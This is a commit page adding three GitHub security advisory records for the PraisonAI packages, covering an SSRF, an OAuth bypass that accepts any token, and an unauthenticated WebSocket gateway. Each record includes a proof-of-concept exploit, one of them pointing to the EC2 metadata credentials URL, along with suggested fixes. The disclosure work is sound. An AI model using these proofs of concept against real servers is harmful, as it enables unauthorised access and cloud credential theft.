Skip to content

Commit ec35d19

Browse files
1 parent 57223bf commit ec35d19

File tree

3 files changed

+180
-0
lines changed

3 files changed

+180
-0
lines changed
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-44c2-3rw4-5gvh",
4+
"modified": "2026-04-01T23:27:07Z",
5+
"published": "2026-04-01T23:27:07Z",
6+
"aliases": [
7+
"CVE-2026-34954"
8+
],
9+
"summary": "PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL",
10+
"details": "### Summary\n\n`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.\n\n### Details\n\n`file_tools.py:259` (source) -> `file_tools.py:296` (sink)\n```python\n# source -- url taken directly from caller, no validation\ndef download_file(self, url: str, destination: str, ...):\n\n# sink -- unvalidated url passed to httpx with redirect following\n with httpx.stream(\"GET\", url, timeout=timeout, follow_redirects=True) as response:\n```\n\n### PoC\n```bash\n# tested on: praisonaiagents==1.5.87 (source install)\n# install: pip install -e src/praisonai-agents\n# start listener: python3 -m http.server 8888\n\nimport os\nos.environ['PRAISONAI_AUTO_APPROVE'] = 'true'\nfrom praisonaiagents.tools.file_tools import download_file\n\nresult = download_file(\n url=\"http://127.0.0.1:8888/ssrf-test\",\n destination=\"/tmp/ssrf_out.txt\"\n)\nprint(result)\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# writes IAM credentials to destination file\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `follow_redirects=True` enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.\n\n### Suggested Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\n\nBLOCKED_NETWORKS = [\n ipaddress.ip_network(\"127.0.0.0/8\"),\n ipaddress.ip_network(\"169.254.0.0/16\"),\n ipaddress.ip_network(\"10.0.0.0/8\"),\n ipaddress.ip_network(\"172.16.0.0/12\"),\n ipaddress.ip_network(\"192.168.0.0/16\"),\n]\n\ndef _validate_url(url: str) -> None:\n parsed = urlparse(url)\n if parsed.scheme not in (\"http\", \"https\"):\n raise ValueError(f\"Scheme {parsed.scheme!r} not allowed\")\n try:\n addr = ipaddress.ip_address(parsed.hostname)\n for net in BLOCKED_NETWORKS:\n if addr in net:\n raise ValueError(f\"Requests to {addr} are not permitted\")\n except ValueError as e:\n if \"does not appear to be\" not in str(e):\n raise\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonaiagents"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.5.95"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.5.94"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-44c2-3rw4-5gvh"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-918"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:27:07Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-98f9-fqg5-hvq5",
4+
"modified": "2026-04-01T23:29:01Z",
5+
"published": "2026-04-01T23:29:01Z",
6+
"aliases": [
7+
"CVE-2026-34953"
8+
],
9+
"summary": "PraisonAI Has Authentication Bypass via OAuthManager.validate_token()",
10+
"details": "### Summary\n\n`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.\n\n### Details\n\n`oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink)\n```python\n# source\ndef validate_token(self, token: str) -> bool:\n for stored_token in self._tokens.values():\n if stored_token.access_token == token:\n return not stored_token.is_expired()\n\n# sink -- _tokens is empty by default, loop never executes, falls through\n return True\n```\n\n### PoC\n```bash\n# install: pip install -e src/praisonai\n# start server: praisonai mcp serve --transport http-stream --port 8080\n\ncurl -s -X POST http://127.0.0.1:8080/mcp \\\n -H \"Authorization: Bearer fake_token_abc123\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"id\":1}'\n\n# expected output: 200 OK with full tool list (50+ tools)\n# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write\n```\n\n### Impact\n\nAny unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.\n\n### Suggested Fix\n```python\ndef validate_token(self, token: str) -> bool:\n for stored_token in self._tokens.values():\n if stored_token.access_token == token:\n return not stored_token.is_expired()\n # Unknown tokens must be rejected.\n # For external/JWT tokens, call the introspection endpoint here before returning.\n return False\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.97"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.5.96"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-863"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:29:01Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cfh6-vr3j-qc3g",
4+
"modified": "2026-04-01T23:28:04Z",
5+
"published": "2026-04-01T23:28:04Z",
6+
"aliases": [
7+
"CVE-2026-34952"
8+
],
9+
"summary": "PraisonAI Has Missing Authentication in WebSocket Gateway",
10+
"details": "### Summary\n\nThe PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.\n\n### Details\n\n`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)\n```python\n# source -- /info leaks all agent IDs with no auth\nasync def info(request):\n return JSONResponse({\n \"agents\": list(self._agents.keys()),\n \"sessions\": len(self._sessions),\n \"clients\": len(self._clients),\n })\n\n# sink -- WebSocket accepted unconditionally, no token check\nasync def websocket_endpoint(websocket: WebSocket):\n await websocket.accept()\n client_id = str(uuid.uuid4())\n self._clients[client_id] = websocket\n # processes any message from any client\n```\n\n### PoC\n```bash\n# tested on: praisonai==4.5.87 (source install)\n# install: pip install -e src/praisonai\n# start server:\n# python3 -c \"import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())\" &\n\n# Step 1 - enumerate agents, no auth\ncurl -s http://127.0.0.1:8765/info\n# expected output: {\"name\":\"PraisonAI Gateway\",\"version\":\"1.0.0\",\"agents\":[...],\"sessions\":0,\"clients\":0}\n\n# Step 2 - connect to WebSocket, no token\npython3 -c \"\nimport asyncio, websockets, json\nasync def run():\n async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:\n print('Connected with no auth')\n await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))\n print(await asyncio.wait_for(ws.recv(), timeout=3))\nasyncio.run(run())\n\"\n# expected output: Connected with no auth\n# {\"type\": ...} -- server responds, connection accepted\n```\n\n### Impact\n\nAny unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.\n\n### Suggested Fix\n```python\nasync def websocket_endpoint(websocket: WebSocket):\n token = websocket.query_params.get(\"token\") or \\\n websocket.headers.get(\"Authorization\", \"\").removeprefix(\"Bearer \")\n if self._config.auth_token and token != self._config.auth_token:\n await websocket.close(code=4001, reason=\"Unauthorized\")\n return\n await websocket.accept()\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.97"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.5.96"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-306"
54+
],
55+
"severity": "CRITICAL",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:28:04Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)